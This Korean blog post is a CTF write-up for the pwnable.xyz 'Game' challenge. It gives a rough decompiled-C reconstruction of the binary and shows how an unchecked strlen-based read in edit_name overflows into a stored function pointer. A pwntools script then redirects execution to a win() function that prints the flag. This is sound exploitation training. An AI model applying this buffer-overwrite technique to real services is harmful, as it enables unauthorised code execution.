본문으로 바로가기

[pwnable.xyz] Game write up

category CTF/pwnable.xyz 2020. 2. 15. 10:47

 

pwnable.xyz 13번째 Game 문제이다.

ubuntu:~/environment/ctf/pwnable.xyz/13_game $ func challenge 
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
edit_name
find_last_save
handler
init_game
main
play_game
print_menu
read_int32
save_game
setup
win

해당 바이너리 안에는 사용자 정의 함수가 많은 것을 볼 수 있다.

 

 

 


Analyze

 

필자의 분석 환경은 매우 열악해서(IDA를 쓸 수 없는 상황..)

gdb를 통해 해당 바이너리를 분석해서 c로 바꾸어 보았다.

 

#include <stdio.h>

char saves[40];
char ops = "+-/*";

void init_game(){
    saves = malloc(0x20);   // 0x603260
    cur = find_last_save();
    
    printf("Name: ");
    read(0, *(cur+0x0), 0x10);
    
    &(*(cur+0x0))+0x18 = &play_game;
}

void find_last_save(){
    int count = 0;
    
    while(1){
        if(!saves[count*8]){    // is null
           break; 
        }
        count++;
    }
    count--;
    
    return saves[count*8];
}

void print_menu(){
    printf("Score: %d\n", &(*(cur+0x0))+0x10);
    printf("Menu:\n1. Play game\n2. Save game\n3. Edit name\n0. Exit");
}

void win(){ // 0x4009d6
    system("cat /flag");
}

void save_game(){
    int count = 1;
    while(count <= 4){
        if(!saves[count*8]){    // check is null
            saves[count*8] = malloc(0x20);  // 0x603290
            
            &(saves[count*8]) = *cur;    // 사용자 이름
            &(saves[count*8 + 0x08]) = *(*cur+0x08); // 사용자 이름
            
            *(saves[count*8]+0x10) = (long)*(*cur+0x10); // 사용자 점수
                
            *(saves[count*8]+0x18) = &play_game();
            
            cur = saves[count*8];
            return;
        }
        count++;
    }
    printf("Not enough space.");
}

void edit_name(){
    read(0, *cur, strlen(*cur));
}

void play_game(){
    int fd = open("/dev/urandom");
    char random[12];    // rbp-0x11c
    char tmp;           // rbp-0x110
    if(fd == -1){
        printf("Can't open /dev/urandom\n");
        exit(1);
    }
    read(fd, random, 0xc);
    close(fd);
    /*
    0x0000000000400b52 <+136>:   movzx  eax,BYTE PTR [rbp-0x114]
    0x0000000000400b59 <+143>:   and    eax,0x3
    
    */
    memset(tmp, 0, 0x100);                                              // rbp-0x118            
    snprintf(tmp, 0x100, "%u %c %u = ", random, ops[*(rbp-0x114) ^ 0x3], random+0x4);
    printf("%s", tmp);
    
    // rbp - 0x120
    int answer = read_int32();
    
    if(*(rbp-0x114) == 1){  // - sub
        if (answer == (random - (random+0x4)) )
            cur+0x10 += 1;
        else
            cur+0x10 -= 1;
    }
    else if(*(rbp-0x114) == 2){ // /    div
        if(answer == (random / (random+0x4)) )
            cur+0x10 += 1;
        else
            cur+0x10 -= 1;
    }
    else if(*(rbp-0x114) == 3){ // * imul
        if(answer == (random * (random+0x4)) )
            cur+0x10 += 1;
        else
            cur+0x10 -= 1;
    }
    else if (*(rbp-0x114) == 0){    // + add
        if(answer == (random + (random+0x4)) )
            cur+0x10 += 1;
        else
            cur+0x10 -= 1;
    }
}



int main(){
    printf("Shell we play a game?\n");
    init_game();
    
    while(1){
        print_menu();
    
        printf("> ");
        int select = read_int32();
        
        if(select == 1){
            (&(*(cur+0x0))+0x18)();    // call play_game()
        }
        else if(select == 2){
            save_game();
        }
        else if(select == 3){
            edit_name();
        }
        else if(select == 0){
            exit(1);
        }
        else{
            printf("Invalid.\n");
        }
    }
}

 

 

 

main 함수를 보면 1을 입력했을 때, 어떤 위치에 있는 주소를 불러 함수를 호출한다.

int main(){
    printf("Shell we play a game?\n");
    init_game();
    
    while(1){
        print_menu();
    
        printf("> ");
        int select = read_int32();
        
        if(select == 1)
            (&(*(cur+0x0))+0x18)();    // call play_game()
        else if(select == 2)
            save_game();
        else if(select == 3)
            edit_name();
        else if(select == 0)
            exit(1);
        else
            printf("Invalid.\n");
    }
}

 

 

 

전역 변수로 cur, save 변수가 존재하며 구조는 아래와 같다.

0x6020e0 <cur>: 	0x0000000000000000      0x0000000000000000
0x6020f0:       	0x0000000000000000      0x0000000000000000
0x602100 <saves>:       0x0000000000000000      0x0000000000000000
0x602110 <saves+16>:    0x0000000000000000      0x0000000000000000
0x602120 <saves+32>:    0x0000000000000000 

 

cur 변수는 현재 플래이어의 이름과 점수, play_game 함수의 주소가 저장된 주소를 가르키고,

save 변수는 최대 5번 저장할 수 있는 공간이 있다.

 

cur 변수에 할당된 곳을 보면,

0x603260 ~ 0x60326f : 사용자의 이름(16bytes)

0x603270 ~ 0x603277 : 사용자의 점수

0x603278 ~ 0x60327f : play_game() 함수의 주소

 

 

edit_name() 함수에서 사용자의 이름을 수정할 수 있는데,

길이는 16bytes 가 아닌 현재 *cur 에 있는 문자열의 길이 만큼 입력을 받는다.

즉, 첫 실행때 사용자의 이름을 16bytes 입력하고 => 문제를 일부러 틀리면 점수 영역에 -1(0xffff) 값이 들어간다.

이때, edit_name() 함수를 호출하면, 16bytes + 2bytes = 18bytes 를 입력할 수 있게 된다.

void edit_name(){
    read(0, *cur, strlen(*cur));
}

 

하지만, 점수의 값이 2bytes 여서 play_game() 함수의 주소를 덮을 수 없다.

 

 

 

save_game() 함수를 보면, 10번째에 사용자의 점수를 long으로 형변환 하여 저장하고 있다.

void save_game(){
    int count = 1;
    while(count <= 4){
        if(!saves[count*8]){    // check is null
            saves[count*8] = malloc(0x20);  // 0x603290
            
            &(saves[count*8]) = *cur;    // 사용자 이름
            &(saves[count*8 + 0x08]) = *(*cur+0x08); // 사용자 이름
            
            *(saves[count*8]+0x10) = (long)*(*cur+0x10); // 사용자 점수
                
            *(saves[count*8]+0x18) = &play_game();
            
            cur = saves[count*8];
            return;
        }
        count++;
    }
    printf("Not enough space.");
}

 

이때 메모리 구조를 보면 아래와 같다.

점수 값이 8bytes로 늘어난 것을 볼 수 있다.

 

따라서 사용자가 16bytes 이름을 입력하고, 문제를 일부러 틀린 다음, save_game() 을 호출한 다음,

edit_name() 함수를 호출하면 사용자 이름을 16bytes + 8bytes(점수) + 3bytes(함수 주소) = 27bytes를 입력 할 수 있게 된다.

 

 

 


Payload

 

 

from pwn import *

p = remote("svc.pwnable.xyz", 30009)

p.sendafter("Name: ", "A"*16)
p.sendlineafter("> ", "1")
p.sendlineafter("= ", "-1")

p.sendlineafter("> ", "2")
p.sendlineafter("> ", "3")
name = "A"*24 + "\xd6\x09\x40"
p.send(name)

p.sendlineafter("> ", "1")
p.interactive()

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] uaf write up  (0) 2020.02.21
[pwnable.xyz] fspoo write up  (0) 2020.02.21
[pwnable.xyz] Game write up  (0) 2020.02.15
[pwnable.xyz] l33t-ness write up  (0) 2020.01.31
[pwnable.xyz] Jmp table write up  (0) 2020.01.31
[pwnable.xyz] TLSv00 write up  (0) 2020.01.28

댓글을 달아 주세요